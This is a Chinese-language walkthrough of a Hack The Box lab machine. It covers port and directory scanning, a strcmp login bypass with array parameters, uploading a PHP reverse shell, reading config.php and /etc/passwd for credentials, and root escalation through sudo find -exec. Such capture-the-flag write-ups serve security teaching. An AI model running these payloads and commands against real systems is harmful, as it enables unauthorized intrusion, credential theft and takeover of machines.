文章源自【字节脉搏社区】-字节脉搏实验室
作者-whit
之后准备长期更新HTB系列,由易到难,开了VIP,所有靶机的思路都会更新,让大家尽可能多的学习到挖洞技巧,请大家持续关注咱们的微信公众号,字节脉搏实验室。
首先扫描开放端口和服务。
nmap -A -v 10.10.10.48
可以看到开放端口是22和80,机器是linux的。
打开80端口对应的网站应用:
先上工具扫一波目录:python3 dirsearch.py -u http://10.10.10.48 -e *
gobuster dir -u http://10.10.10.48 -w /usr/share/wordlists/dirb/big.txt
爆破得到有用的目录为:_uploaded login
直接访问:http://10.10.10.48/login/
目录配置错误,可以直接列出。
在登录文件夹中,我们可以看到login.php.swp。在Web服务器上就地编辑文件的情况并不少见,如果未适当关闭文件,Nano和Vim等编辑器将创建临时文件。我们可以下载.swp文件,并查看login.php使用strings命令的源代码。
Web服务器正在使用strcmp来检查用户名和密码,这是不安全的,可以轻松地绕开。让我们打开burp并捕获登录请求。以下代码存在问题:
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username , $_POST['username']) == 0) {
Burp捕捉登陆请求,修改post的参数为:username[]=admin&password[]=admin
顺利登陆:
上传kali自带的php shell:/usr/share/webshells/php/php-reverse-shell.php
上传之后没文件路径,加上之前扫描出来的目录,浏览器访问执行,本地监听:http://10.10.10.48/_uploaded/php-reverse-shell.php
看一下web的配置文件:cat /var/www/html/login/config.php
<?php
$username = “admin”;
$password = “thisisaxxxxpassword”;
我们还可以阅读/etc/passwd以找到用户名john。结合这两个。让我们升级到pty shell。
python -c 'import pty; pty.spawn(“/bin/bash”)'
su jhon
拿到user.txt
sudo -l
看来我们可以将find作为sudo 运行。
sudo /usr/bin/find /etc -exec /bin/bash \;
拿到root.txt
刚开始分享一个比较基础的靶机,之后会从慢慢深入。长期更新,记得追更哦。